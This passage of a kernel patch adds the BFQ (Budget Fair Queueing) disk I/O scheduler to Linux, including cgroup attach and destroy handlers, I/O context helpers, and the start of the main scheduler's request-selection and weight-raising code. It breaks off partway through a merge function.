++	struct io_context *ioc;
++	int ret = 0;
++
++	cgroup_taskset_for_each(task, cgroup, tset) {
++		/* task_lock() is needed to avoid races with exit_io_context() */
++		task_lock(task);
++		ioc = task->io_context;
++		if (ioc != NULL && atomic_read(&ioc->nr_tasks) > 1)
++			/*
++			 * ioc == NULL means that the task is either too young or
++			 * exiting: if it has still no ioc the ioc can't be shared,
++			 * if the task is exiting the attach will fail anyway, no
++			 * matter what we return here.
++			 */
++			ret = -EINVAL;
++		task_unlock(task);
++		if (ret)
++			break;
++	}
++
++	return ret;
++}
++
++static void bfqio_attach(struct cgroup *cgroup, struct cgroup_taskset *tset)
++{
++	struct task_struct *task;
++	struct io_context *ioc;
++	struct io_cq *icq;
++
++	/*
++	 * IMPORTANT NOTE: The move of more than one process at a time to a
++	 * new group has not yet been tested.
++	 */
++	cgroup_taskset_for_each(task, cgroup, tset) {
++		ioc = get_task_io_context(task, GFP_ATOMIC, NUMA_NO_NODE);
++		if (ioc) {
++			/*
++			 * Handle cgroup change here.
++			 */
++			rcu_read_lock();
++			hlist_for_each_entry_rcu(icq, &ioc->icq_list, ioc_node)
++				if (!strncmp(
++					icq->q->elevator->type->elevator_name,
++					"bfq", ELV_NAME_MAX))
++					bfq_bic_change_cgroup(icq_to_bic(icq),
++							      cgroup);
++			rcu_read_unlock();
++			put_io_context(ioc);
++		}
++	}
++}
++
++static void bfqio_destroy(struct cgroup *cgroup)
++{
++	struct bfqio_cgroup *bgrp = cgroup_to_bfqio(cgroup);
++	struct hlist_node *tmp;
++	struct bfq_group *bfqg;
++
++	/*
++	 * Since we are destroying the cgroup, there are no more tasks
++	 * referencing it, and all the RCU grace periods that may have
++	 * referenced it are ended (as the destruction of the parent
++	 * cgroup is RCU-safe); bgrp->group_data will not be accessed by
++	 * anything else and we don't need any synchronization.
++	 */
++	hlist_for_each_entry_safe(bfqg, tmp, &bgrp->group_data, group_node)
++		bfq_destroy_group(bgrp, bfqg);
++
++	BUG_ON(!hlist_empty(&bgrp->group_data));
++
++	kfree(bgrp);
++}
++
++struct cgroup_subsys bfqio_subsys = {
++	.name = "bfqio",
++	.css_alloc = bfqio_create,
++	.can_attach = bfqio_can_attach,
++	.attach = bfqio_attach,
++	.css_free = bfqio_destroy,
++	.subsys_id = bfqio_subsys_id,
++	.base_cftypes = bfqio_files,
++};
++#else
++static inline void bfq_init_entity(struct bfq_entity *entity,
++				   struct bfq_group *bfqg)
++{
++	entity->weight = entity->new_weight;
++	entity->orig_weight = entity->new_weight;
++	entity->ioprio = entity->new_ioprio;
++	entity->ioprio_class = entity->new_ioprio_class;
++	entity->sched_data = &bfqg->sched_data;
++}
++
++static inline struct bfq_group *
++bfq_bic_update_cgroup(struct bfq_io_cq *bic)
++{
++	struct bfq_data *bfqd = bic_to_bfqd(bic);
++	return bfqd->root_group;
++}
++
++static inline void bfq_bfqq_move(struct bfq_data *bfqd,
++				 struct bfq_queue *bfqq,
++				 struct bfq_entity *entity,
++				 struct bfq_group *bfqg)
++{
++}
++
++static void bfq_end_raising_async(struct bfq_data *bfqd)
++{
++	bfq_end_raising_async_queues(bfqd, bfqd->root_group);
++}
++
++static inline void bfq_disconnect_groups(struct bfq_data *bfqd)
++{
++	bfq_put_async_queues(bfqd, bfqd->root_group);
++}
++
++static inline void bfq_free_root_group(struct bfq_data *bfqd)
++{
++	kfree(bfqd->root_group);
++}
++
++static struct bfq_group *bfq_alloc_root_group(struct bfq_data *bfqd, int node)
++{
++	struct bfq_group *bfqg;
++	int i;
++
++	bfqg = kmalloc_node(sizeof(*bfqg), GFP_KERNEL | __GFP_ZERO, node);
++	if (bfqg == NULL)
++		return NULL;
++
++	for (i = 0; i < BFQ_IOPRIO_CLASSES; i++)
++		bfqg->sched_data.service_tree[i] = BFQ_SERVICE_TREE_INIT;
++
++	return bfqg;
++}
++#endif
+diff --git a/block/bfq-ioc.c b/block/bfq-ioc.c
+new file mode 100644
+index 0000000..7f6b000
+--- /dev/null
++++ b/block/bfq-ioc.c
+@@ -0,0 +1,36 @@
++/*
++ * BFQ: I/O context handling.
++ *
++ * Based on ideas and code from CFQ:
++ * Copyright (C) 2003 Jens Axboe <axboe@kernel.dk>
++ *
++ * Copyright (C) 2008 Fabio Checconi <fabio@gandalf.sssup.it>
++ *		      Paolo Valente <paolo.valente@unimore.it>
++ *
++ * Copyright (C) 2010 Paolo Valente <paolo.valente@unimore.it>
++ */
++
++/**
++ * icq_to_bic - convert iocontext queue structure to bfq_io_cq.
++ * @icq: the iocontext queue.
++ */
++static inline struct bfq_io_cq *icq_to_bic(struct io_cq *icq)
++{
++	/* bic->icq is the first member, %NULL will convert to %NULL */
++	return container_of(icq, struct bfq_io_cq, icq);
++}
++
++/**
++ * bfq_bic_lookup - search into @ioc a bic associated to @bfqd.
++ * @bfqd: the lookup key.
++ * @ioc: the io_context of the process doing I/O.
++ *
++ * Queue lock must be held.
++ */
++static inline struct bfq_io_cq *bfq_bic_lookup(struct bfq_data *bfqd,
++					       struct io_context *ioc)
++{
++	if (ioc)
++		return icq_to_bic(ioc_lookup_icq(ioc, bfqd->queue));
++	return NULL;
++}
+diff --git a/block/bfq-iosched.c b/block/bfq-iosched.c
+new file mode 100644
+index 0000000..96abb81
+--- /dev/null
++++ b/block/bfq-iosched.c
+@@ -0,0 +1,3256 @@
++/*
++ * BFQ, or Budget Fair Queueing, disk scheduler.
++ *
++ * Based on ideas and code from CFQ:
++ * Copyright (C) 2003 Jens Axboe <axboe@kernel.dk>
++ *
++ * Copyright (C) 2008 Fabio Checconi <fabio@gandalf.sssup.it>
++ *		      Paolo Valente <paolo.valente@unimore.it>
++ *
++ * Copyright (C) 2010 Paolo Valente <paolo.valente@unimore.it>
++ *
++ * Licensed under the GPL-2 as detailed in the accompanying COPYING.BFQ file.
++ *
++ * BFQ is a proportional share disk scheduling algorithm based on the
++ * slice-by-slice service scheme of CFQ. But BFQ assigns budgets, measured in
++ * number of sectors, to tasks instead of time slices. The disk is not granted
++ * to the in-service task for a given time slice, but until it has exahusted
++ * its assigned budget. This change from the time to the service domain allows
++ * BFQ to distribute the disk bandwidth among tasks as desired, without any
++ * distortion due to ZBR, workload fluctuations or other factors. BFQ uses an
++ * ad hoc internal scheduler, called B-WF2Q+, to schedule tasks according to
++ * their budgets (more precisely BFQ schedules queues associated to tasks).
++ * Thanks to this accurate scheduler, BFQ can afford to assign high budgets to
++ * disk-bound non-seeky tasks (to boost the throughput), and yet guarantee low
++ * latencies to interactive and soft real-time applications.
++ *
++ * BFQ is described in [1], where also a reference to the initial, more
++ * theoretical paper on BFQ can be found. The interested reader can find in
++ * the latter paper full details on the main algorithm as well as formulas of
++ * the guarantees, plus formal proofs of all the properties. With respect to
++ * the version of BFQ presented in these papers, this implementation adds a
++ * few more heuristics, such as the one that guarantees a low latency to soft
++ * real-time applications, and a hierarchical extension based on H-WF2Q+.
++ *
++ * B-WF2Q+ is based on WF2Q+, that is described in [2], together with
++ * H-WF2Q+, while the augmented tree used to implement B-WF2Q+ with O(log N)
++ * complexity derives from the one introduced with EEVDF in [3].
++ *
++ * [1] P. Valente and M. Andreolini, ``Improving Application Responsiveness
++ *     with the BFQ Disk I/O Scheduler'',
++ *     Proceedings of the 5th Annual International Systems and Storage
++ *     Conference (SYSTOR '12), June 2012.
++ *
++ * http://algogroup.unimo.it/people/paolo/disk_sched/bf1-v1-suite-results.pdf
++ *
++ * [2] Jon C.R. Bennett and H. Zhang, ``Hierarchical Packet Fair Queueing
++ *     Algorithms,'' IEEE/ACM Transactions on Networking, 5(5):675-689,
++ *     Oct 1997.
++ *
++ * http://www.cs.cmu.edu/~hzhang/papers/TON-97-Oct.ps.gz
++ *
++ * [3] I. Stoica and H. Abdel-Wahab, ``Earliest Eligible Virtual Deadline
++ *     First: A Flexible and Accurate Mechanism for Proportional Share
++ *     Resource Allocation,'' technical report.
++ *
++ * http://www.cs.berkeley.edu/~istoica/papers/eevdf-tr-95.pdf
++ */
++#include <linux/module.h>
++#include <linux/slab.h>
++#include <linux/blkdev.h>
++#include <linux/cgroup.h>
++#include <linux/elevator.h>
++#include <linux/jiffies.h>
++#include <linux/rbtree.h>
++#include <linux/ioprio.h>
++#include "bfq.h"
++#include "blk.h"
++
++/* Max number of dispatches in one round of service. */
++static const int bfq_quantum = 4;
++
++/* Expiration time of sync (0) and async (1) requests, in jiffies. */
++static const int bfq_fifo_expire[2] = { HZ / 4, HZ / 8 };
++
++/* Maximum backwards seek, in KiB. */
++static const int bfq_back_max = 16 * 1024;
++
++/* Penalty of a backwards seek, in number of sectors. */
++static const int bfq_back_penalty = 2;
++
++/* Idling period duration, in jiffies. */
++static int bfq_slice_idle = HZ / 125;
++
++/* Default maximum budget values, in sectors and number of requests. */
++static const int bfq_default_max_budget = 16 * 1024;
++static const int bfq_max_budget_async_rq = 4;
++
++/*
++ * Async to sync throughput distribution is controlled as follows:
++ * when an async request is served, the entity is charged the number
++ * of sectors of the request, multipled by the factor below
++ */
++static const int bfq_async_charge_factor = 10;
++
++/* Default timeout values, in jiffies, approximating CFQ defaults. */
++static const int bfq_timeout_sync = HZ / 8;
++static int bfq_timeout_async = HZ / 25;
++
++struct kmem_cache *bfq_pool;
++
++/* Below this threshold (in ms), we consider thinktime immediate. */
++#define BFQ_MIN_TT		2
++
++/* hw_tag detection: parallel requests threshold and min samples needed. */
++#define BFQ_HW_QUEUE_THRESHOLD	4
++#define BFQ_HW_QUEUE_SAMPLES	32
++
++#define BFQQ_SEEK_THR	 (sector_t)(8 * 1024)
++#define BFQQ_SEEKY(bfqq) ((bfqq)->seek_mean > BFQQ_SEEK_THR)
++
++/* Min samples used for peak rate estimation (for autotuning). */
++#define BFQ_PEAK_RATE_SAMPLES	32
++
++/* Shift used for peak rate fixed precision calculations. */
++#define BFQ_RATE_SHIFT		16
++
++/*
++ * The duration of the weight raising for interactive applications is
++ * computed automatically (as default behaviour), using the following
++ * formula: duration = (R / r) * T, where r is the peak rate of the
++ * disk, and R and T are two reference parameters. In particular, R is
++ * the peak rate of a reference disk, and T is about the maximum time
++ * for starting popular large applications on that disk, under BFQ and
++ * while reading two files in parallel. Finally, BFQ uses two
++ * different pairs (R, T) depending on whether the disk is rotational
++ * or non-rotational.
++ */
++#define T_rot			(msecs_to_jiffies(5500))
++#define T_nonrot		(msecs_to_jiffies(2000))
++/* Next two quantities are in sectors/usec, left-shifted by BFQ_RATE_SHIFT */
++#define R_rot			17415
++#define R_nonrot		34791
++
++#define BFQ_SERVICE_TREE_INIT	((struct bfq_service_tree)		\
++				{ RB_ROOT, RB_ROOT, NULL, NULL, 0, 0 })
++
++#define RQ_BIC(rq)		((struct bfq_io_cq *) (rq)->elv.priv[0])
++#define RQ_BFQQ(rq)		((rq)->elv.priv[1])
++
++static inline void bfq_schedule_dispatch(struct bfq_data *bfqd);
++
++#include "bfq-ioc.c"
++#include "bfq-sched.c"
++#include "bfq-cgroup.c"
++
++#define bfq_class_idle(bfqq)	((bfqq)->entity.ioprio_class ==\
++				 IOPRIO_CLASS_IDLE)
++#define bfq_class_rt(bfqq)	((bfqq)->entity.ioprio_class ==\
++				 IOPRIO_CLASS_RT)
++
++#define bfq_sample_valid(samples)	((samples) > 80)
++
++/*
++ * We regard a request as SYNC, if either it's a read or has the SYNC bit
++ * set (in which case it could also be a direct WRITE).
++ */
++static inline int bfq_bio_sync(struct bio *bio)
++{
++	if (bio_data_dir(bio) == READ || (bio->bi_rw & REQ_SYNC))
++		return 1;
++
++	return 0;
++}
++
++/*
++ * Scheduler run of queue, if there are requests pending and no one in the
++ * driver that will restart queueing.
++ */
++static inline void bfq_schedule_dispatch(struct bfq_data *bfqd)
++{
++	if (bfqd->queued != 0) {
++		bfq_log(bfqd, "schedule dispatch");
++		kblockd_schedule_work(bfqd->queue, &bfqd->unplug_work);
++	}
++}
++
++/*
++ * Lifted from AS - choose which of rq1 and rq2 that is best served now.
++ * We choose the request that is closesr to the head right now.  Distance
++ * behind the head is penalized and only allowed to a certain extent.
++ */
++static struct request *bfq_choose_req(struct bfq_data *bfqd,
++				      struct request *rq1,
++				      struct request *rq2,
++				      sector_t last)
++{
++	sector_t s1, s2, d1 = 0, d2 = 0;
++	unsigned long back_max;
++#define BFQ_RQ1_WRAP	0x01 /* request 1 wraps */
++#define BFQ_RQ2_WRAP	0x02 /* request 2 wraps */
++	unsigned wrap = 0; /* bit mask: requests behind the disk head? */
++
++	if (rq1 == NULL || rq1 == rq2)
++		return rq2;
++	if (rq2 == NULL)
++		return rq1;
++
++	if (rq_is_sync(rq1) && !rq_is_sync(rq2))
++		return rq1;
++	else if (rq_is_sync(rq2) && !rq_is_sync(rq1))
++		return rq2;
++	if ((rq1->cmd_flags & REQ_META) && !(rq2->cmd_flags & REQ_META))
++		return rq1;
++	else if ((rq2->cmd_flags & REQ_META) && !(rq1->cmd_flags & REQ_META))
++		return rq2;
++
++	s1 = blk_rq_pos(rq1);
++	s2 = blk_rq_pos(rq2);
++
++	/*
++	 * By definition, 1KiB is 2 sectors.
++	 */
++	back_max = bfqd->bfq_back_max * 2;
++
++	/*
++	 * Strict one way elevator _except_ in the case where we allow
++	 * short backward seeks which are biased as twice the cost of a
++	 * similar forward seek.
++	 */
++	if (s1 >= last)
++		d1 = s1 - last;
++	else if (s1 + back_max >= last)
++		d1 = (last - s1) * bfqd->bfq_back_penalty;
++	else
++		wrap |= BFQ_RQ1_WRAP;
++
++	if (s2 >= last)
++		d2 = s2 - last;
++	else if (s2 + back_max >= last)
++		d2 = (last - s2) * bfqd->bfq_back_penalty;
++	else
++		wrap |= BFQ_RQ2_WRAP;
++
++	/* Found required data */
++
++	/*
++	 * By doing switch() on the bit mask "wrap" we avoid having to
++	 * check two variables for all permutations: --> faster!
++	 */
++	switch (wrap) {
++	case 0: /* common case for CFQ: rq1 and rq2 not wrapped */
++		if (d1 < d2)
++			return rq1;
++		else if (d2 < d1)
++			return rq2;
++		else {
++			if (s1 >= s2)
++				return rq1;
++			else
++				return rq2;
++		}
++
++	case BFQ_RQ2_WRAP:
++		return rq1;
++	case BFQ_RQ1_WRAP:
++		return rq2;
++	case (BFQ_RQ1_WRAP|BFQ_RQ2_WRAP): /* both rqs wrapped */
++	default:
++		/*
++		 * Since both rqs are wrapped,
++		 * start with the one that's further behind head
++		 * (--> only *one* back seek required),
++		 * since back seek takes more time than forward.
++		 */
++		if (s1 <= s2)
++			return rq1;
++		else
++			return rq2;
++	}
++}
++
++static struct bfq_queue *
++bfq_rq_pos_tree_lookup(struct bfq_data *bfqd, struct rb_root *root,
++		     sector_t sector, struct rb_node **ret_parent,
++		     struct rb_node ***rb_link)
++{
++	struct rb_node **p, *parent;
++	struct bfq_queue *bfqq = NULL;
++
++	parent = NULL;
++	p = &root->rb_node;
++	while (*p) {
++		struct rb_node **n;
++
++		parent = *p;
++		bfqq = rb_entry(parent, struct bfq_queue, pos_node);
++
++		/*
++		 * Sort strictly based on sector. Smallest to the left,
++		 * largest to the right.
++		 */
++		if (sector > blk_rq_pos(bfqq->next_rq))
++			n = &(*p)->rb_right;
++		else if (sector < blk_rq_pos(bfqq->next_rq))
++			n = &(*p)->rb_left;
++		else
++			break;
++		p = n;
++		bfqq = NULL;
++	}
++
++	*ret_parent = parent;
++	if (rb_link)
++		*rb_link = p;
++
++	bfq_log(bfqd, "rq_pos_tree_lookup %llu: returning %d",
++		(long long unsigned)sector,
++		bfqq != NULL ? bfqq->pid : 0);
++
++	return bfqq;
++}
++
++static void bfq_rq_pos_tree_add(struct bfq_data *bfqd, struct bfq_queue *bfqq)
++{
++	struct rb_node **p, *parent;
++	struct bfq_queue *__bfqq;
++
++	if (bfqq->pos_root != NULL) {
++		rb_erase(&bfqq->pos_node, bfqq->pos_root);
++		bfqq->pos_root = NULL;
++	}
++
++	if (bfq_class_idle(bfqq))
++		return;
++	if (!bfqq->next_rq)
++		return;
++
++	bfqq->pos_root = &bfqd->rq_pos_tree;
++	__bfqq = bfq_rq_pos_tree_lookup(bfqd, bfqq->pos_root,
++			blk_rq_pos(bfqq->next_rq), &parent, &p);
++	if (__bfqq == NULL) {
++		rb_link_node(&bfqq->pos_node, parent, p);
++		rb_insert_color(&bfqq->pos_node, bfqq->pos_root);
++	} else
++		bfqq->pos_root = NULL;
++}
++
++static struct request *bfq_find_next_rq(struct bfq_data *bfqd,
++					struct bfq_queue *bfqq,
++					struct request *last)
++{
++	struct rb_node *rbnext = rb_next(&last->rb_node);
++	struct rb_node *rbprev = rb_prev(&last->rb_node);
++	struct request *next = NULL, *prev = NULL;
++
++	BUG_ON(RB_EMPTY_NODE(&last->rb_node));
++
++	if (rbprev != NULL)
++		prev = rb_entry_rq(rbprev);
++
++	if (rbnext != NULL)
++		next = rb_entry_rq(rbnext);
++	else {
++		rbnext = rb_first(&bfqq->sort_list);
++		if (rbnext && rbnext != &last->rb_node)
++			next = rb_entry_rq(rbnext);
++	}
++
++	return bfq_choose_req(bfqd, next, prev, blk_rq_pos(last));
++}
++
++static void bfq_del_rq_rb(struct request *rq)
++{
++	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++	struct bfq_data *bfqd = bfqq->bfqd;
++	const int sync = rq_is_sync(rq);
++
++	BUG_ON(bfqq->queued[sync] == 0);
++	bfqq->queued[sync]--;
++	bfqd->queued--;
++
++	elv_rb_del(&bfqq->sort_list, rq);
++
++	if (RB_EMPTY_ROOT(&bfqq->sort_list)) {
++		if (bfq_bfqq_busy(bfqq) && bfqq != bfqd->in_service_queue)
++			bfq_del_bfqq_busy(bfqd, bfqq, 1);
++		/*
++		 * Remove queue from request-position tree as it is empty.
++		 */
++		if (bfqq->pos_root != NULL) {
++			rb_erase(&bfqq->pos_node, bfqq->pos_root);
++			bfqq->pos_root = NULL;
++		}
++	}
++}
++
++/* see the definition of bfq_async_charge_factor for details */
++static inline unsigned long bfq_serv_to_charge(struct request *rq,
++					       struct bfq_queue *bfqq)
++{
++	return blk_rq_sectors(rq) *
++		(1 + ((!bfq_bfqq_sync(bfqq)) * (bfqq->raising_coeff == 1) *
++		bfq_async_charge_factor));
++}
++
++/**
++ * bfq_updated_next_req - update the queue after a new next_rq selection.
++ * @bfqd: the device data the queue belongs to.
++ * @bfqq: the queue to update.
++ *
++ * If the first request of a queue changes we make sure that the queue
++ * has enough budget to serve at least its first request (if the
++ * request has grown).  We do this because if the queue has not enough
++ * budget for its first request, it has to go through two dispatch
++ * rounds to actually get it dispatched.
++ */
++static void bfq_updated_next_req(struct bfq_data *bfqd,
++				 struct bfq_queue *bfqq)
++{
++	struct bfq_entity *entity = &bfqq->entity;
++	struct bfq_service_tree *st = bfq_entity_service_tree(entity);
++	struct request *next_rq = bfqq->next_rq;
++	unsigned long new_budget;
++
++	if (next_rq == NULL)
++		return;
++
++	if (bfqq == bfqd->in_service_queue)
++		/*
++		 * In order not to break guarantees, budgets cannot be
++		 * changed after an entity has been selected.
++		 */
++		return;
++
++	BUG_ON(entity->tree != &st->active);
++	BUG_ON(entity == entity->sched_data->active_entity);
++
++	new_budget = max_t(unsigned long, bfqq->max_budget,
++			   bfq_serv_to_charge(next_rq, bfqq));
++	entity->budget = new_budget;
++	bfq_log_bfqq(bfqd, bfqq, "updated next rq: new budget %lu", new_budget);
++	bfq_activate_bfqq(bfqd, bfqq);
++}
++
++static inline unsigned int bfq_wrais_duration(struct bfq_data *bfqd)
++{
++	u64 dur;
++
++	if (bfqd->bfq_raising_max_time > 0)
++		return bfqd->bfq_raising_max_time;
++
++	dur = bfqd->RT_prod;
++	do_div(dur, bfqd->peak_rate);
++
++	return dur;
++}
++
++static void bfq_add_rq_rb(struct request *rq)
++{
++	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++	struct bfq_entity *entity = &bfqq->entity;
++	struct bfq_data *bfqd = bfqq->bfqd;
++	struct request *next_rq, *prev;
++	unsigned long old_raising_coeff = bfqq->raising_coeff;
++	int idle_for_long_time = 0;
++
++	bfq_log_bfqq(bfqd, bfqq, "add_rq_rb %d", rq_is_sync(rq));
++	bfqq->queued[rq_is_sync(rq)]++;
++	bfqd->queued++;
++
++	elv_rb_add(&bfqq->sort_list, rq);
++
++	/*
++	 * Check if this request is a better next-serve candidate.
++	 */
++	prev = bfqq->next_rq;
++	next_rq = bfq_choose_req(bfqd, bfqq->next_rq, rq, bfqd->last_position);
++	BUG_ON(next_rq == NULL);
++	bfqq->next_rq = next_rq;
++
++	/*
++	 * Adjust priority tree position, if next_rq changes.
++	 */
++	if (prev != bfqq->next_rq)
++		bfq_rq_pos_tree_add(bfqd, bfqq);
++
++	if (!bfq_bfqq_busy(bfqq)) {
++		int soft_rt = bfqd->bfq_raising_max_softrt_rate > 0 &&
++			time_is_before_jiffies(bfqq->soft_rt_next_start);
++		idle_for_long_time = time_is_before_jiffies(
++			bfqq->budget_timeout +
++			bfqd->bfq_raising_min_idle_time);
++		entity->budget = max_t(unsigned long, bfqq->max_budget,
++				       bfq_serv_to_charge(next_rq, bfqq));
++
++		if (!bfqd->low_latency)
++			goto add_bfqq_busy;
++
++		/*
++		 * If the queue is not being boosted and has been idle
++		 * for enough time, start a weight-raising period
++		 */
++		if (old_raising_coeff == 1 &&
++		    (idle_for_long_time || soft_rt)) {
++			bfqq->raising_coeff = bfqd->bfq_raising_coeff;
++			if (idle_for_long_time)
++				bfqq->raising_cur_max_time =
++					bfq_wrais_duration(bfqd);
++			else
++				bfqq->raising_cur_max_time =
++					bfqd->bfq_raising_rt_max_time;
++			bfq_log_bfqq(bfqd, bfqq,
++				     "wrais starting at %llu msec,"
++				     "rais_max_time %u",
++				     bfqq->last_rais_start_finish,
++				     jiffies_to_msecs(bfqq->
++					raising_cur_max_time));
++		} else if (old_raising_coeff > 1) {
++			if (idle_for_long_time)
++				bfqq->raising_cur_max_time =
++					bfq_wrais_duration(bfqd);
++			else if (bfqq->raising_cur_max_time ==
++				 bfqd->bfq_raising_rt_max_time &&
++				 !soft_rt) {
++				bfqq->raising_coeff = 1;
++				bfq_log_bfqq(bfqd, bfqq,
++					     "wrais ending at %llu msec,"
++					     "rais_max_time %u",
++					     bfqq->last_rais_start_finish,
++					     jiffies_to_msecs(bfqq->
++						raising_cur_max_time));
++			} else if ((bfqq->last_rais_start_finish +
++				    bfqq->raising_cur_max_time <
++				    jiffies + bfqd->bfq_raising_rt_max_time) &&
++				   soft_rt) {
++				/*
++				 *
++				 * The remaining weight-raising time is lower
++				 * than bfqd->bfq_raising_rt_max_time, which
++				 * means that the application is enjoying
++				 * weight raising either because deemed soft rt
++				 * in the near past, or because deemed
++				 * interactive a long ago. In both cases,
++				 * resetting now the current remaining weight-
++				 * raising time for the application to the
++				 * weight-raising duration for soft rt
++				 * applications would not cause any latency
++				 * increase for the application (as the new
++				 * duration would be higher than the remaining
++				 * time).
++				 *
++				 * In addition, the application is now meeting
++				 * the requirements for being deemed soft rt.
++				 * In the end we can correctly and safely
++				 * (re)charge the weight-raising duration for
++				 * the application with the weight-raising
++				 * duration for soft rt applications.
++				 *
++				 * In particular, doing this recharge now, i.e.,
++				 * before the weight-raising period for the
++				 * application finishes, reduces the probability
++				 * of the following negative scenario:
++				 * 1) the weight of a soft rt application is
++				 *    raised at startup (as for any newly
++				 *    created application),
++				 * 2) since the application is not interactive,
++				 *    at a certain time weight-raising is
++				 *    stopped for the application,
++				 * 3) at that time the application happens to
++				 *    still have pending requests, and hence
++				 *    is destined to not have a chance to be
++				 *    deemed soft rt before these requests are
++				 *    completed (see the comments to the
++				 *    function bfq_bfqq_softrt_next_start()
++				 *    for details on soft rt detection),
++				 * 4) these pending requests experience a high
++				 *    latency because the application is not
++				 *    weight-raised while they are pending.
++				 */
++				bfqq->last_rais_start_finish = jiffies;
++				bfqq->raising_cur_max_time =
++					bfqd->bfq_raising_rt_max_time;
++			}
++		}
++		if (old_raising_coeff != bfqq->raising_coeff)
++			entity->ioprio_changed = 1;
++add_bfqq_busy:
++		bfqq->last_idle_bklogged = jiffies;
++		bfqq->service_from_backlogged = 0;
++		bfq_clear_bfqq_softrt_update(bfqq);
++		bfq_add_bfqq_busy(bfqd, bfqq);
++	} else {
++		if (bfqd->low_latency && old_raising_coeff == 1 &&
++			!rq_is_sync(rq) &&
++			bfqq->last_rais_start_finish +
++			time_is_before_jiffies(
++				bfqd->bfq_raising_min_inter_arr_async)) {
++			bfqq->raising_coeff = bfqd->bfq_raising_coeff;
++			bfqq->raising_cur_max_time = bfq_wrais_duration(bfqd);
++
++			bfqd->raised_busy_queues++;
++			entity->ioprio_changed = 1;
++			bfq_log_bfqq(bfqd, bfqq,
++				     "non-idle wrais starting at %llu msec,"
++				     "rais_max_time %u",
++				     bfqq->last_rais_start_finish,
++				     jiffies_to_msecs(bfqq->
++					raising_cur_max_time));
++		}
++		bfq_updated_next_req(bfqd, bfqq);
++	}
++
++	if (bfqd->low_latency &&
++		(old_raising_coeff == 1 || bfqq->raising_coeff == 1 ||
++		 idle_for_long_time))
++		bfqq->last_rais_start_finish = jiffies;
++}
++
++static void bfq_reposition_rq_rb(struct bfq_queue *bfqq, struct request *rq)
++{
++	elv_rb_del(&bfqq->sort_list, rq);
++	bfqq->queued[rq_is_sync(rq)]--;
++	bfqq->bfqd->queued--;
++	bfq_add_rq_rb(rq);
++}
++
++static struct request *bfq_find_rq_fmerge(struct bfq_data *bfqd,
++					  struct bio *bio)
++{
++	struct task_struct *tsk = current;
++	struct bfq_io_cq *bic;
++	struct bfq_queue *bfqq;
++
++	bic = bfq_bic_lookup(bfqd, tsk->io_context);
++	if (bic == NULL)
++		return NULL;
++
++	bfqq = bic_to_bfqq(bic, bfq_bio_sync(bio));
++	if (bfqq != NULL)
++		return elv_rb_find(&bfqq->sort_list, bio_end_sector(bio));
++
++	return NULL;
++}
++
++static void bfq_activate_request(struct request_queue *q, struct request *rq)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++
++	bfqd->rq_in_driver++;
++	bfqd->last_position = blk_rq_pos(rq) + blk_rq_sectors(rq);
++	bfq_log(bfqd, "activate_request: new bfqd->last_position %llu",
++		(long long unsigned)bfqd->last_position);
++}
++
++static void bfq_deactivate_request(struct request_queue *q, struct request *rq)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++
++	WARN_ON(bfqd->rq_in_driver == 0);
++	bfqd->rq_in_driver--;
++}
++
++static void bfq_remove_request(struct request *rq)
++{
++	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++	struct bfq_data *bfqd = bfqq->bfqd;
++
++	if (bfqq->next_rq == rq) {
++		bfqq->next_rq = bfq_find_next_rq(bfqd, bfqq, rq);
++		bfq_updated_next_req(bfqd, bfqq);
++	}
++
++	list_del_init(&rq->queuelist);
++	bfq_del_rq_rb(rq);
++
++	if (rq->cmd_flags & REQ_META) {
++		WARN_ON(bfqq->meta_pending == 0);
++		bfqq->meta_pending--;
++	}
++}
++
++static int bfq_merge(struct request_queue *q, struct request **req,
++		     struct bio *bio)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++	struct request *__rq;
++
++	__rq = bfq_find_rq_fmerge(bfqd, bio);
++	if (__rq != NULL && elv_rq_merge_ok(__rq, bio)) {
++		*req = __rq;
++		return ELEVATOR_FRONT_MERGE;
++	}
++
++	return ELEVATOR_NO_MERGE;
++}
++
++static void bfq_merged_request(struct request_queue *q, struct request *req,
++			       int type)
++{
++	if (type == ELEVATOR_FRONT_MERGE) {
++		struct bfq_queue *bfqq = RQ_BFQQ(req);
++
++		bfq_reposition_rq_rb(bfqq, req);
++	}
++}
++
++static void bfq_merged_requests(struct request_queue *q, struct request *rq,
++				struct request *next)
++{
++	struct bfq_queue *bfqq = RQ_BFQQ(rq);
++
++	/*
++	 * Reposition in fifo if next is older than rq.
++	 */
++	if (!list_empty(&rq->queuelist) && !list_empty(&next->queuelist) &&
++	    time_before(rq_fifo_time(next), rq_fifo_time(rq))) {
++		list_move(&rq->queuelist, &next->queuelist);
++		rq_set_fifo_time(rq, rq_fifo_time(next));
++	}
++
++	if (bfqq->next_rq == next)
++		bfqq->next_rq = rq;
++
++	bfq_remove_request(next);
++}
++
++/* Must be called with bfqq != NULL */
++static inline void bfq_bfqq_end_raising(struct bfq_queue *bfqq)
++{
++	BUG_ON(bfqq == NULL);
++	if (bfq_bfqq_busy(bfqq))
++		bfqq->bfqd->raised_busy_queues--;
++	bfqq->raising_coeff = 1;
++	bfqq->raising_cur_max_time = 0;
++	/* Trigger a weight change on the next activation of the queue */
++	bfqq->entity.ioprio_changed = 1;
++}
++
++static void bfq_end_raising_async_queues(struct bfq_data *bfqd,
++					struct bfq_group *bfqg)
++{
++	int i, j;
++
++	for (i = 0; i < 2; i++)
++		for (j = 0; j < IOPRIO_BE_NR; j++)
++			if (bfqg->async_bfqq[i][j] != NULL)
++				bfq_bfqq_end_raising(bfqg->async_bfqq[i][j]);
++	if (bfqg->async_idle_bfqq != NULL)
++		bfq_bfqq_end_raising(bfqg->async_idle_bfqq);
++}
++
++static void bfq_end_raising(struct bfq_data *bfqd)
++{
++	struct bfq_queue *bfqq;
++
++	spin_lock_irq(bfqd->queue->queue_lock);
++
++	list_for_each_entry(bfqq, &bfqd->active_list, bfqq_list)
++		bfq_bfqq_end_raising(bfqq);
++	list_for_each_entry(bfqq, &bfqd->idle_list, bfqq_list)
++		bfq_bfqq_end_raising(bfqq);
++	bfq_end_raising_async(bfqd);
++
++	spin_unlock_irq(bfqd->queue->queue_lock);
++}
++
++static int bfq_allow_merge(struct request_queue *q, struct request *rq,
++			   struct bio *bio)
++{
++	struct bfq_data *bfqd = q->elevator->elevator_data;
++	struct bfq_io_cq *bic;
++	struct bfq_queue *bfqq;
++
++	/*
++	 * Disallow merge of a sync bio into an async request.
++	 */
